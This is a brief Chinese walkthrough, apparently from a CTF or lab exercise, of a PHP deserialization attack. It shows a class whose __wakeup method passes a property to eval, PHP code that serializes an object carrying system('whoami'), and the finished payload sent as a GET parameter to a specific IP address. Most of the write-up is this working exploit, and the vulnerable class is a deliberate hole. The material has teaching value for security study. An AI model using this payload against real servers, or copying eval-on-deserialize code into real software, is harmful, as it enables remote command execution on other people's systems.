根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。
根据源码编写序列化代码
php
<?php
class sis{
public $cmd='system("whoami");?>';
public function __wakeup(){
eval($this->cmd);
}
}
$a = new sis;
echo serialize($a);
?>
为cmd赋值后,直接将整个sis类序列化
访问该代码
得到序列化的sis,将序列化后的sis以get的方式为cmd传参
124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}
完成